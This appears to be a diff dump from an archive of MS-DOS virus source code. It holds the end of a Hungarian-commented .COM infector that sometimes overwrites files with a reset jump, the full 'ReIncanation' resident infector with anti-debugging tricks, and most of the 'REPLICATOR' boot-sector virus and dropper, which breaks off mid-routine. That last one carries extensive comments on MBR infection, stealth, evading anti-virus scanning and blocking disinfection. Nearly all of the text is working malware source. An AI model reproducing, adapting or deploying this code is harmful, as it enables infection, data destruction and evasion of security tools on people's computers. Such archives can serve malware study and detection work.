MOV AX,4300H ; A FILE ATTRIBUTUM BEOLVASASA
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
MOV [SI+FILATT-TABL],CX
|
||||
MOV AX,4301H ; A FILE ATTRIBUTUM BEALLITASA
|
||||
DB 81H,0E1H,0FEH,0FFH ; AZ R/O BIT TORLESE
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
MOV AX,3D02H ; A FILE MEGNYITASA IRASRA & OLVASASRA
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
JNC INDH ; NINCS HIBA
|
||||
JMP INDK ; HIBA TORTENT
|
||||
INDH: MOV BX,AX ; A FILESZAM ATVITELE
|
||||
MOV AX,5700H ; A KELETKEZESI IDO BEOLVASASA
|
||||
INT 21H ; ES BEALLITASA
|
||||
MOV [SI+FILIDO-TABL],CX
|
||||
MOV [SI+FILDAT-TABL],DX
|
||||
MOV AH,2CH ; A RENDSZERIDO BEOLVASASA
|
||||
INT 21H
|
||||
AND DH,111B ; A MASODPERCEK OSZTHATOK NYOLCCAL?
|
||||
JNZ INDI ; NEM, A FILE-T CSAK MEGFEROZZUK
|
||||
MOV AH,40H ; EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/
|
||||
MOV CX,5 ; A JMP FAR F000:FFF0 5 BYTE HOSSZU
|
||||
MOV DX,SI ; DX A TABLAZAT KEZDETERE MUTAT
|
||||
ADD DX,OFFSET RESET-TABL
|
||||
INT 21H ; A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE
|
||||
JMP INDJ ; ENNEK MAR BEVEGEZTETETT
|
||||
INDI: MOV AH,3FH ; OLVASAS A FILEBOL
|
||||
MOV CX,3 ; AZ ELSO HAROM BYTE
|
||||
MOV DX,FILKEZ-TABL ; A MEGFELELO CIMRE
|
||||
ADD DX,SI
|
||||
INT 21H ; BEOLVASNI
|
||||
JC INDJ ; HIBA TORTENT
|
||||
CMP AX,3 ; MIND A HAROM BYTEOT BEOLVASTA?
|
||||
JNZ INDJ ; NEM, HIBA VOLT
|
||||
MOV AX,4202H ; MUTATO A FILE VEGERE
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JC INDJ ; TORTENT HIBA?
|
||||
MOV CX,AX ; A FILE HOSSZA
|
||||
SUB AX,3 ; MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM
|
||||
MOV [SI+UJKEZ-TABL+1],AX
|
||||
ADD CX,OFFSET TABL+100H ; A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN
|
||||
MOV DI,SI ; A TABLAZAT KEZDETE
|
||||
SUB DI,OFFSET TABL-TBLC-1
|
||||
MOV [DI],CX ; A MOV DX, UTASITAS PARAMETERE
|
||||
MOV AH,40H ; KIIRAS A FILE-BA
|
||||
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
|
||||
MOV DX,SI ; A TABLAZAT KEZDOCIME
|
||||
SUB DX,OFFSET TABL ; MINUSZ A VIRUSTORZS HOSSZA
|
||||
INT 21H ; KIIRAS
|
||||
JC INDJ ; HIBA TORTENT
|
||||
CMP AX,OFFSET HOSSZ ; MINDEN BYTEOT KIIRT?
|
||||
JNZ INDJ ; NEM
|
||||
MOV AX,4200H ; MUTATO A FILE ELEJERE
|
||||
MOV CX,0
|
||||
MOV DX,0
|
||||
INT 21H
|
||||
JC INDJ ; HIBA TORTENT?
|
||||
MOV AH,40H ; KIIRAS A FILE-BA
|
||||
MOV CX,3 ; AZ ELSO 3 BYTE KIIRASA
|
||||
MOV DX,SI
|
||||
ADD DX,OFFSET UJKEZ-TABL
|
||||
INT 21H ; KIIRAS
|
||||
INDJ: MOV DX,[SI+FILDAT-TABL]
|
||||
MOV CX,[SI+FILIDO-TABL]
|
||||
DB 81H,0E1H,0E0H,0FFH ; AND CX,0FFE0H
|
||||
OR CX,OFFSET 11111B ; AZ IDO 62 MASODPERC
|
||||
MOV AX,5701H ; A KELETKEZESI DATUM ES IDO VISSZAIRASA
|
||||
INT 21H ; ES A FERTOZES JELZESE
|
||||
MOV AH,3EH ; FILE LEZARASA
|
||||
INT 21H
|
||||
INDK: MOV AX,4301H ; A REGI ATTRIBUTUM VISSZAALLITASA
|
||||
MOV CX,[SI+FILATT-TABL]
|
||||
MOV DX,FSPEC-TABL
|
||||
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
||||
INT 21H
|
||||
IND7: PUSH DS ; DS ELMENTESE
|
||||
MOV AH,1AH ; A DTA REGI CIMENEK BEALLITASA
|
||||
MOV DX,WORD PTR [SI+DTACIM-TABL]
|
||||
MOV DS,WORD PTR [SI+DTACIM-TABL+2]
|
||||
INT 21H
|
||||
POP DS ; DS VISSZAALLITASA
|
||||
IND2: POP CX
|
||||
XOR AX,AX ; AX=0
|
||||
XOR BX,BX ; BX=0
|
||||
XOR DX,DX ; DX=0
|
||||
XOR SI,SI ; SI=0
|
||||
MOV DI,100H ; 100H A VEREMBE
|
||||
PUSH DI
|
||||
XOR DI,DI ; DI=0
|
||||
RET 0FFFFH
|
||||
|
||||
TABL EQU $
|
||||
|
||||
DTACIM DD 0
|
||||
FILIDO DW 0
|
||||
FILDAT DW 0
|
||||
FILATT DW 0
|
||||
FILKEZ DB 0,0,0
|
||||
UJKEZ DB 0,0,0
|
||||
FKER DB '*.COM',0
|
||||
UTCIM DW 0
|
||||
FAKT DW 0
|
||||
SZOVEG DB 'PATH='
|
||||
FSPEC DB 40H DUP(' ')
|
||||
UJDTA DB 2BH DUP(0)
|
||||
RESET DB 0EAH,0F0H,0FFH,0,0F0H
|
||||
|
||||
VEG EQU $
|
||||
|
||||
VIRUS ENDS
|
||||
|
||||
END
|
BIN
MSDOS/Virus.MSDOS.Unknown.regdisp.asm
Normal file
BIN
MSDOS/Virus.MSDOS.Unknown.regdisp.asm
Normal file
Binary file not shown.
147
MSDOS/Virus.MSDOS.Unknown.reincanation.asm
Normal file
147
MSDOS/Virus.MSDOS.Unknown.reincanation.asm
Normal file
@ -0,0 +1,147 @@
|
||||
start:
|
||||
and al,21h
|
||||
|
||||
;anti_disassembler & anti_debugger
|
||||
mov cx,09ebh
|
||||
mov ax,0fe05h
|
||||
jmp $-2
|
||||
add ah,03bh
|
||||
jmp $-10
|
||||
|
||||
;anti_debugger
|
||||
mov ax,3503h ;save int 3h in bx
|
||||
int 21h ;do it
|
||||
mov ah,25h ;set new int 3h...
|
||||
mov dx,offset new_int_3 ;...to new_int_3
|
||||
int 21h ;do it
|
||||
xchg bx,dx ;exchange bx,dx (restore original int 3h)
|
||||
int 21h ;do it
|
||||
|
||||
|
||||
;anti_vsafe
|
||||
mov ax,0f9f2h
|
||||
add ax,10h
|
||||
mov dx,5935h
|
||||
add dx,10h
|
||||
mov bl,10h
|
||||
sub bl,10h
|
||||
int 16h
|
||||
|
||||
|
||||
mov ah,9h ;write string
|
||||
mov dx,offset file_not_found ;Befehl oder Dateiname nicht gefunden.
|
||||
int 21h ;do it
|
||||
|
||||
|
||||
mov ax,9999h ;put 9999h in ax (for resident test)
|
||||
int 21h ;do it
|
||||
|
||||
cmp bx,9999h ;compare bx,9999h
|
||||
je already_there ;if bx=9999h, we are already resident and goto already_there
|
||||
jmp makemegotsr ;else goto makemegotsr
|
||||
|
||||
already_there: ;already resident
|
||||
int 20h ;exit
|
||||
|
||||
|
||||
makemegotsr:
|
||||
mov ax,3521h ; get int 21h
|
||||
int 21h ;do it
|
||||
mov word ptr cs:old21,bx ; save old int 21h
|
||||
mov word ptr cs:old21+2,es ;... save
|
||||
mov dx,offset new21 ; new int 21 comes to offset new21
|
||||
mov ax,2521h ; set new int 21h
|
||||
int 21h ; do it
|
||||
push cs ; push it
|
||||
pop ds ; pop it
|
||||
mov dx,offset endvir ; put everything of us in memory
|
||||
int 27h ; do it
|
||||
|
||||
|
||||
new21: pushf ;new int 21
|
||||
cmp ax,9999h ;resident test ???
|
||||
jnz no_installation_check ;if no test goto no_install_check
|
||||
xchg ax,bx ;if resident test, put 9999h in bx
|
||||
no_installation_check: ;no_install_check
|
||||
cmp ax,4b00h ;is there something executed?
|
||||
jz infect ;yes, goto infect
|
||||
jmp short end21 ;no, jmp to normal old int 21h
|
||||
|
||||
infect: ;infect the executed file
|
||||
mov ax,4301h ;set attributes
|
||||
xor cx,cx ;to 0
|
||||
int 21h ;do it
|
||||
|
||||
mov ax,3d02h ;open file
|
||||
int 21h ;do it
|
||||
mov bx,ax ;put ax in bx, or.. xchg ax,bx.. but that doesn't work here
|
||||
push ax ;push all
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push ds
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,4200h ;seek
|
||||
xor cx,cx ;at beginning of tha file
|
||||
cwd
|
||||
int 21h ;do it
|
||||
|
||||
mov cx,offset endvir-offset start ;how much bytes to write
|
||||
mov ah,40h ;write
|
||||
mov dx,offset start ;from offset start
|
||||
int 21h ;do it
|
||||
|
||||
cwd ; set date/time
|
||||
xor cx,cx ; to zero
|
||||
mov ax,5701h ;function for date/time
|
||||
int 21h ;do it
|
||||
|
||||
mov ah,3eh ; close file
|
||||
int 21h ;do it
|
||||
|
||||
mov ah,2ah ;get date
|
||||
int 21h ;do it
|
||||
cmp dh,4 ;compare month(dh) with 4
|
||||
jne not_my_birthday ;not the 4th month, goto not_my_birthday
|
||||
monat_ok:cmp dl,21 ;else compare day(dl) with 21
|
||||
jne not_my_birthday ;not the 21th, goto not_my_birthday
|
||||
tag_ok:mov ah,9h ;if it is the 21.April write message
|
||||
mov dx,offset text ;of offset text
|
||||
int 21h ;do it
|
||||
mov ah,00h ;wait until keypressed
|
||||
int 16h ;do it
|
||||
jmp restore ;goto restore (tha registers)
|
||||
|
||||
not_my_birthday: ;if it is not_my_birthday
|
||||
mov ah,9h ;write message
|
||||
mov dx,offset file_not_found ;Befehl oder Dateiname nicht gefunden. (English: Bad command or filename.)
|
||||
int 21h ;do it
|
||||
|
||||
|
||||
restore:
|
||||
pop ds ; pop all
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
|
||||
end21: popf ; pop far
|
||||
db 0eah ; jmp far (?)
|
||||
|
||||
old21 dw 0,0 ; where to store the old INT21
|
||||
text: db'ReIncanation written by Spooky. Austria 1996',0dh,0ah,'$' ;message for debugger or date 21.April
|
||||
file_not_found: db'Befehl oder Dateiname nicht gefunden.',0dh,0ah,'$' ;message file not found
|
||||
new_int_3: ;new interrupt 3h for the debugger
|
||||
mov ah,9h ;write string to standard output
|
||||
mov dx,offset text ;text to write
|
||||
int 21h ;do it
|
||||
mov ah,00h ;wait until keypressed
|
||||
int 16h ;do it
|
||||
int 20h ;-> terminate debugging
|
||||
|
||||
|
||||
endvir label byte ; End of file
|
||||
|
||||
end start
|
717
MSDOS/Virus.MSDOS.Unknown.replic_d.asm
Normal file
717
MSDOS/Virus.MSDOS.Unknown.replic_d.asm
Normal file
@ -0,0 +1,717 @@
|
||||
;**********************************************************************************************
|
||||
;* *
|
||||
;* FILE: DROP_REP.ASM (c) 1993 *
|
||||
;* PURPOSE: Dropper containing REPLICATOR boot sector virus *
|
||||
;* AUTHOR: Willoughby DATE: 04/19/93 *
|
||||
;* *
|
||||
;**********************************************************************************************
|
||||
;
|
||||
;------------------------------------------ EQUATES -------------------------------------------
|
||||
;
|
||||
AT_TAG EQU 0FC
|
||||
BAD_TAG EQU 0BAD
|
||||
BIOS13_OFFSET EQU 004C
|
||||
BIOS13_SEGMENT EQU 004E
|
||||
BIOS40_SEGMENT EQU 0103
|
||||
BPB_NUM_SECT EQU 013
|
||||
CLEAR EQU 00
|
||||
INF_TAG1 EQU 0ABCD
|
||||
INF_TAG2 EQU 0CDEF
|
||||
MEM_SIZE EQU 0413
|
||||
MOTOR_ON EQU 043F
|
||||
PARTITION_OFFSET EQU 01BE
|
||||
ROM_SEGMENT EQU 0F0
|
||||
SET EQU 0BB
|
||||
SYS_ID_OFFSET EQU 0FFFE
|
||||
SYS_ID_SEGMENT EQU 0F000
|
||||
;
|
||||
;---------------------------------------- MAIN PROGRAM ----------------------------------------
|
||||
;
|
||||
CODE SEGMENT
|
||||
;
|
||||
;----------------------------
|
||||
;Dropper for REPLICATOR virus
|
||||
;----------------------------
|
||||
;
|
||||
DROPPER:
|
||||
;
|
||||
;Check system type to determine if the INT1Ah read-real-time-clock function is supported (AT
|
||||
;or better). If not, skip the trigger date check/storage process and store "BAD" tag for
|
||||
;the benefit of the REPLICATOR infection analysis program (a future release).
|
||||
;
|
||||
MOV AX,SYS_ID_SEGMENT
|
||||
MOV DS,AX ;Set DS to ROM segment.
|
||||
CMP B[SYS_ID_OFFSET],AT_TAG ;Check system ID byte for AT system tag.
|
||||
PUSH CS
|
||||
POP DS ;Set DS to dropper code segment.
|
||||
JE >D1 ;If AT, check date and store before infection.
|
||||
MOV DROP_MODAY,BAD_TAG ;If not, store hard drive drop date "BAD" tag
|
||||
;in VIRUS_DIR.
|
||||
JMP >D3 ;Then continue infection process.
|
||||
;
|
||||
;Determine if date is equal to or greater than preselected infection date. This allows the
|
||||
;dropper program to pass initial anti-viral scanning/activity monitoring by remaining dormant
|
||||
;until a later date. Also, store month, day and year of pending fixed disk infection in
|
||||
;VIRUS_DIR.
|
||||
;
|
||||
D1:
|
||||
MOV AH,04 ;Set read-date function.
|
||||
INT 01A ;BIOS read-clock interrupt.
|
||||
MOV DROP_YEAR,CX ;Store infection year in VIRUS_DIR.
|
||||
MOV DROP_MODAY,DX ;Store month and day in VIRUS_DIR.
|
||||
CMP CX,01993 ;Compare system year with 1993 trigger year
|
||||
;(CH=century, CL=year, both in BCD).
|
||||
JA >D2 ;If year>trigger year, proceed w/infection.
|
||||
JB >D5 ;If year<trigger year, exit and do not infect.
|
||||
CMP DX,0101 ;Compare system date w/Jan. 1st (DH=month,
|
||||
;DL=day, both in BCD). The date Jan. 1
|
||||
;effectively disables this function.
|
||||
JB >D5 ;If the current date is not => the trigger
|
||||
;date, don't infect.
|
||||
;
|
||||
;Store time of pending fixed disk infection in VIRUS_DIR.
|
||||
;
|
||||
D2:
|
||||
MOV AH,02 ;Select read-time function.
|
||||
INT 01A ;BIOS read-clock interrupt.
|
||||
MOV DROP_TIME,CX ;Store infection hour and minute in VIRUS_DIR.
|
||||
;
|
||||
;Determine if an anti-viral program is monitoring viral activity via INT40h. If so, don't
|
||||
;infect.
|
||||
;
|
||||
D3:
|
||||
PUSH DS ;Preserve DS.
|
||||
XOR AX,AX
|
||||
MOV DS,AX ;Zero DS to point to BIOS data table.
|
||||
CMP B[BIOS40_SEGMENT],ROM_SEGMENT ;Has INT40h been stolen from BIOS ROM by an
|
||||
;anti-virus program?
|
||||
POP DS ;Restore DS.
|
||||
JB >D5 ;If INT40h has been stolen, do not attempt
|
||||
;infection.
|
||||
;
|
||||
;Load MBR.
|
||||
;
|
||||
PUSH CS
|
||||
POP ES ;Set ES to dropper code segment.
|
||||
MOV AX,0201 ;Select read-1-sector function.
|
||||
MOV BX,MBR_BUFFER ;Set disk I/O buffer offset.
|
||||
MOV CX,0001 ;Track 0, sector 1.
|
||||
MOV DX,0080 ;Head 0, fixed disk 1.
|
||||
INT 013 ;Read MBR.
|
||||
JB >D5 ;Exit if flag=failure.
|
||||
;
|
||||
;Check MBR for infection.
|
||||
;
|
||||
CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check for VIRUS_BOOT infection tag.
|
||||
JE >D5 ;If infected then exit.
|
||||
;
|
||||
;Check fixed disk for an unused first track (head 0, cylinder 0) to avoid damaging any FAT
|
||||
;which might be present in that area. This is accomplished by checking the partition table
|
||||
;value which holds the number of the starting head of the first partition. If this number is
|
||||
;equal to or greater than 01, the first track is not in use.
|
||||
;
|
||||
CMP B[BX+PARTITION_OFFSET+1],01 ;Check for unused track on fixed disk by
|
||||
;checking partition table data.
|
||||
JB >D5 ;If in use, exit to avoid damage to FAT.
|
||||
;
|
||||
;Increment hard disk infection counter for pending infection.
|
||||
;
|
||||
INC W[OFFSET HARD_COUNT]
|
||||
;
|
||||
;Write original MBR to its new location. Also, determine if VIRUS_DIR is present on the fixed
|
||||
;disk. If so, don't write VIRUS_DIR to disk so that the previous infection counts and dates
|
||||
;are retained.
|
||||
;
|
||||
MOV AX,0201 ;Select read-1-sector function.
|
||||
MOV BX,MBR_BUFFER+0200 ;Set disk I/O buffer offset.
|
||||
MOV CL,09 ;Track 0, sector 9.
|
||||
INT 013 ;Read VIRUS_DIR sector.
|
||||
JB >D5 ;Exit if flag=failure.
|
||||
CMP W[BX+OFFSET INFECT_TAG2-0400],INF_TAG2 ;Check for VIRUS_DIR infection tag.
|
||||
MOV AX,0302 ;Select write-2-sectors function.
|
||||
MOV BX,VIRUS_DIR ;Specify VIRUS_DIR buffer offset.
|
||||
JNE >D4 ;If VIRUS_DIR is not present, write
|
||||
;both VIRUS_DIR and MBR.
|
||||
MOV AX,0301 ;If present, select write-1-sector
|
||||
;function.
|
||||
MOV BX,MBR_BUFFER ;Specify MBR buffer address.
|
||||
MOV CL,0A ;Specify relocation sector for MBR.
|
||||
D4:
|
||||
INT 013 ;Write to specified sector(s).
|
||||
JB >D5 ;Exit if flag=failure.
|
||||
;
|
||||
;Copy partition table data to virus.
|
||||
;
|
||||
MOV SI,MBR_BUFFER+PARTITION_OFFSET ;Set source offset.
|
||||
MOV DI,VIRUS_BOOT+PARTITION_OFFSET ;Set destination offset.
|
||||
MOV CL,021 ;Set repetition count (number of words) for
|
||||
;partition table move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSW ;Move partition table to virus.
|
||||
;
|
||||
;Write virus to MBR.
|
||||
;
|
||||
MOV AX,0301 ;Select write-1-sector function.
|
||||
MOV BX,VIRUS_BOOT ;Set disk I/O buffer offset.
|
||||
MOV CL,01 ;Track 0, sector 1.
|
||||
INT 013 ;Write virus with attached partition table
|
||||
;to MBR.
|
||||
;
|
||||
;Terminate dropper.
|
||||
;
|
||||
D5:
|
||||
MOV AX,04C00 ;Select terminate w/return code function.
|
||||
INT 021 ;Terminate dropper.
|
||||
;
|
||||
DB 86 DUP 00 ;Pad bytes to avoid possible DMA I/O errors.
|
||||
;
|
||||
;**********************************************************************************************
|
||||
;* *
|
||||
;* REPLICATOR boot sector virus *
|
||||
;* *
|
||||
;**********************************************************************************************
|
||||
;
|
||||
VIRUS_BOOT:
|
||||
;
|
||||
JMP >B1 ;Jump over BPB data to virus entry point.
|
||||
;
|
||||
BPB_START:
|
||||
;
|
||||
DB 60 DUP 00 ;Reserve space for diskette BPB data.
|
||||
;
|
||||
BPB_END:
|
||||
;
|
||||
;------------
|
||||
;Boot routine
|
||||
;------------
|
||||
;
|
||||
;Set location of stack.
|
||||
;
|
||||
B1:
|
||||
XOR AX,AX ;Zero AX.
|
||||
MOV DS,AX ;Zero DS.
|
||||
CLI ;Disable interrupts.
|
||||
MOV SS,AX ;Zero SS.
|
||||
MOV AX,07C00 ;Load location of stack to AX.
|
||||
MOV SP,AX ;Set SP=7C00h.
|
||||
STI ;Enable interrupts.
|
||||
PUSH DS ;Store return address of boot record to be
|
||||
PUSH AX ;popped from the stack when VIRUS_BOOT
|
||||
;returns to it (0000:7C00h).
|
||||
;
|
||||
;Read INT13h segment and offset from BIOS data table and store within VIRUS_BOOT.
|
||||
;
|
||||
MOV AX,W[BIOS13_OFFSET] ;Load BIOS INT13h vector offset stored at
|
||||
;0000:004Ch.
|
||||
MOV W[OFFSET BIOS_OFFSET+07A00],AX ;Store BIOS INT13h offset value in virus data
|
||||
;area.
|
||||
MOV CL,06 ;Set CL for virus segment shift. Location of
|
||||
;this operation chosen to defeat anti-viral
|
||||
;generic code-segment scans.
|
||||
MOV AX,W[BIOS13_SEGMENT] ;Load BIOS INT13h vector segment stored at
|
||||
;0000:004Eh.
|
||||
MOV W[OFFSET BIOS_SEGMENT+07A00],AX ;Store BIOS INT13h segment value in virus data
|
||||
;area.
|
||||
;
|
||||
;Calculate virus upper memory segment value and store within VIRUS_BOOT.
|
||||
;
|
||||
MOV BX,MEM_SIZE ;Load BX with address 0413h. This defeats
|
||||
;anti-viral searches for 0413h MOV operations.
|
||||
MOV AX,W[BX] ;Load memory size (in KB) stored at 0000:0413h.
|
||||
DEC AX ;Calculate value for 2KB reduction of
|
||||
DEC AX ;conventional memory.
|
||||
SHL AX,CL ;Calculate virus segment.
|
||||
MOV W[OFFSET REENTRY_SEGMENT+07A00],AX ;Store virus segment value in virus data area.
|
||||
MOV ES,AX ;Store in ES to be used to move virus to top of
|
||||
;conventional memory.
|
||||
;
|
||||
;Move VIRUS_BOOT from 0000:7C00h to top of memory - 2KB.
|
||||
;
|
||||
MOV SI,07C00 ;Set source offset address for virus move.
|
||||
XOR DI,DI ;Set destination offset address to 0000h.
|
||||
MOV CX,0100 ;Set repetition count (number of words) for
|
||||
;move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSW ;Move virus from DS:7C00h to ES:0000h.
|
||||
CS JMP D[OFFSET REENTRY_OFFSET+07A00] ;Jump to self in new location via stored
|
||||
;address.
|
||||
;
|
||||
;Load VIRUS_DIR and original boot sector/MBR to top of memory - 1.5KB.
|
||||
;
|
||||
NEW_LOCATION:
|
||||
;
|
||||
PUSH CS
|
||||
POP DS ;Set DS=CS.
|
||||
MOV AX,0202 ;Select read-2-sectors function.
|
||||
MOV BX,0200 ;Set disk I/O buffer offset.
|
||||
MOV CL,B[OFFSET SECTOR-0200] ;VIRUS_DIR sector determined by value stored in
|
||||
;VIRUS_BOOT.
|
||||
CMP CL,09 ;Test for hard drive (HD) boot.
|
||||
JE >B2 ;Yes, booted from HD.
|
||||
INC DH ;Select head 1, floppy drive DL.
|
||||
B2:
|
||||
INT 013 ;Read VIRUS_DIR and original boot record.
|
||||
JNB >B3 ;Continue if flag=success.
|
||||
JMP B5 ;Exit if flag=failure.
|
||||
;
|
||||
;Copy original boot sector/MBR down to 0000:7C00h for later execution.
|
||||
;
|
||||
B3:
|
||||
XOR AX,AX ;Zero AX.
|
||||
MOV ES,AX ;Zero ES (destination segment value).
|
||||
MOV SI,0400 ;Set source offset address for virus move.
|
||||
MOV DI,07C00 ;Set destination offset address for move.
|
||||
MOV CX,0100 ;Set repetition count (# of words) for move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSW ;Copy original boot record to 0000:7C00h.
|
||||
;
|
||||
;Determine if the virus is already installed on the system in the memory above. If it is, in
|
||||
;order to prevent multiple installations of the virus in memory and the problems that this can
|
||||
;cause, the virus will be removed from memory. This will be done by restoring the BIOS data
|
||||
;table values that it has changed to their original, pre-infection values.
|
||||
;
|
||||
CMP W[OFFSET INFECT_TAG1+0600],INF_TAG1 ;Check for presence of virus above us.
|
||||
JNE >B4 ;If it's not there, exit removal routine.
|
||||
MOV AX,W[OFFSET BIOS_OFFSET+0600] ;Get the pre-infection INT13h offset value from
|
||||
;the virus installed in memory.
|
||||
PUSH AX ;Save that value on the stack.
|
||||
MOV AX,W[OFFSET BIOS_SEGMENT+0600] ;Get the pre-infection INT13h segment value.
|
||||
PUSH DS ;Preserve DS.
|
||||
XOR BX,BX ;Zero BX.
|
||||
MOV DS,BX ;Zero DS.
|
||||
MOV W[BIOS13_SEGMENT],AX ;Restore BIOS data table to pre-infection
|
||||
;segment value.
|
||||
POP AX ;Pop pre-infection offset value from stack.
|
||||
MOV W[BIOS13_OFFSET],AX ;Restore BIOS data table to pre-infection
|
||||
;offset value.
|
||||
MOV BX,MEM_SIZE ;Move data table address for conventional
|
||||
;memory size into BX.
|
||||
ADD W[BX],02 ;Increase memory size value by 2KB to restore
|
||||
;it to pre-infection value.
|
||||
POP DS ;Restore DS.
|
||||
JMP >B5 ;Exit without installing virus in memory.
|
||||
;
|
||||
;Test for HD boot and, if true, install virus in memory.
|
||||
;
|
||||
B4:
|
||||
CMP DL,080 ;Booted from HD?
|
||||
JE >B6 ;If so, install virus and exit.
|
||||
;
|
||||
;Must be booting from floppy, so load MBR to top of memory - 1KB.
|
||||
;
|
||||
PUSH CS
|
||||
POP ES ;Set ES=CS.
|
||||
MOV AX,0201 ;Select read-1-sector function.
|
||||
MOV BX,0400 ;Set disk I/O buffer offset.
|
||||
MOV CL,01 ;Track 0, sector 1.
|
||||
MOV DX,0080 ;Head 0, HD 1.
|
||||
INT 013 ;Read MBR.
|
||||
JB >B5 ;Exit if flag=failure and do not steal INT13h.
|
||||
;
|
||||
;Check MBR for infection.
|
||||
;
|
||||
CMP W[BX+OFFSET INFECT_TAG1-0200],INF_TAG1 ;Check MBR for infection tag.
|
||||
JE >B5 ;If infected, exit and do not steal INT13h.
|
||||
;
|
||||
;Check fixed disk for an unused first track (head 0, cylinder 0) to avoid damaging any FAT
|
||||
;which might be present in that area.
|
||||
;
|
||||
CMP B[BX+PARTITION_OFFSET+1],01 ;Check for unused track on HD by checking
|
||||
;partition table data (start head => 1).
|
||||
JB >B5 ;If first track is in use, exit to avoid
|
||||
;FAT damage and do not steal INT13h vector.
|
||||
;
|
||||
;Increment hard disk infection counter for pending infection.
|
||||
;
|
||||
INC W[OFFSET HARD_COUNT-0200]
|
||||
;
|
||||
;Write VIRUS_DIR and original MBR to fixed disk sectors 09h and 0Ah respectively.
|
||||
;
|
||||
MOV AX,0302 ;Select write-2-sectors function.
|
||||
MOV BX,0200 ;Set disk I/O buffer offset.
|
||||
MOV CL,09 ;Track 0, sector 9.
|
||||
MOV B[OFFSET SECTOR-0200],CL ;Store destination sector number in VIRUS_BOOT.
|
||||
INT 013 ;Move VIRUS_DIR to sector 09h and original MBR
|
||||
;to sector 0Ah.
|
||||
JB >B5 ;Exit if flag=failure and do not steal INT13h.
|
||||
;
|
||||
;Copy partition table data to VIRUS_BOOT.
|
||||
;
|
||||
MOV SI,PARTITION_OFFSET+0400 ;Set source offset.
|
||||
MOV DI,PARTITION_OFFSET ;Set destination offset.
|
||||
MOV CL,021 ;Set repetition count (# of words) move.
|
||||
CLD ;Clear direction flag (fwd).
|
||||
REP MOVSW ;Move partition table to virus.
|
||||
;
|
||||
;Write VIRUS_BOOT to MBR and exit without installing virus in memory. Subsequent HD boot will
|
||||
;do this.
|
||||
;
|
||||
MOV AX,0301 ;Select write-1-sector function.
|
||||
XOR BX,BX ;Set disk I/O buffer offset.
|
||||
MOV CL,01 ;Track 0, sector 1.
|
||||
INT 013 ;Write virus w/attached partition table to MBR.
|
||||
B5:
|
||||
XOR DX,DX ;Restore DX back to value at floppy boot
|
||||
;(head 0, drive 0).
|
||||
RETF ;Exit, do not steal INT13h or reduce mem. size.
|
||||
;Return to boot sector code at 0000:7C00h.
|
||||
;
|
||||
;Steal BIOS INT13h vector and reduce memory size to install virus as TSR.
|
||||
;
|
||||
B6:
|
||||
MOV BX,W[OFFSET REENTRY_SEGMENT-0200] ;Load VIRUS_DIR segment value to BX.
|
||||
XOR AX,AX ;Zero AX.
|
||||
MOV DS,AX ;Zero DS.
|
||||
MOV W[BIOS13_SEGMENT],BX ;Point INT13h vector to VIRUS_DIR
|
||||
;segment.
|
||||
MOV W[BIOS13_OFFSET],OFFSET VIRUS_INT-0200 ;Point INT13h vector to VIRUS_INT
|
||||
;INT13h handler offset in VIRUS_DIR.
|
||||
MOV BX,MEM_SIZE ;Load BIOS data table address for
|
||||
;memory size to BX.
|
||||
SUB W[BX],02 ;Reduce memory by 2KB to protect virus
|
||||
;area from being overwritten by other
|
||||
;programs.
|
||||
RETF ;Return to boot sector code at
|
||||
;0000:7C00h.
|
||||
;
|
||||
;Reserve storage locations for virus data and preset some known values.
|
||||
;
|
||||
BIOS_OFFSET DW ? ;BIOS INT13 offset.
|
||||
BIOS_SEGMENT DW ? ;BIOS INT13 segment.
|
||||
REENTRY_OFFSET DW NEW_LOCATION-0200 ;Virus reentry offset.
|
||||
REENTRY_SEGMENT DW ? ;Virus reentry segment.
|
||||
INFECT_TAG1 DW INF_TAG1 ;Infection tag for VIRUS_BOOT.
|
||||
SECTOR DB 09 ;Sector # containing VIRUS_DIR.
|
||||
;
|
||||
VIRUS_BOOT_END:
|
||||
;
|
||||
;Reserve end-of-sector text area and establish valid boot record tag.
|
||||
;
|
||||
DB 195 DUP 00 ;End-of-sector pad bytes.
|
||||
DB 055,0AA ;Boot record tag.
|
||||
;
|
||||
SECTOR_END:
|
||||
;
|
||||
;End of boot sector/MBR viral code.
|
||||
;----------------------------------------------------------------------------------------------
|
||||
;Start of directory sector viral code.
|
||||
;
|
||||
VIRUS_DIR:
|
||||
;
|
||||
;Create four empty root directory entries at the beginning of the sector.
|
||||
;
|
||||
DB 128 DUP 00
|
||||
;
|
||||
;--------------
|
||||
;INT13h Handler
|
||||
;--------------
|
||||
;
|
||||
VIRUS_INT:
|
||||
;
|
||||
CMP DL,080 ;Hard drive I/O?
|
||||
JNE >F1 ;No, exit to floppy test routine.
|
||||
;
|
||||
;Stealth routine to return original, uninfected MBR to any anti-viral scan program. Also,
|
||||
;prevents writes to the MBR to prevent disinfection of the fixed disk while the virus is
|
||||
;active in memory.
|
||||
;
|
||||
CMP CX,0001 ;Track 0, sector 1?
|
||||
JNE >U1 ;If not, no need for the stealth routine.
|
||||
;Instead, jump to infect. count. update.
|
||||
CMP DH,00 ;Head 0?
|
||||
JNE >E2 ;If not, exit stealth routine.
|
||||
CMP AH,03 ;Write sector?
|
||||
JE >S1 ;Yes, simulate I/O.
|
||||
PUSH CX ;Preserve CX (track/sector #).
|
||||
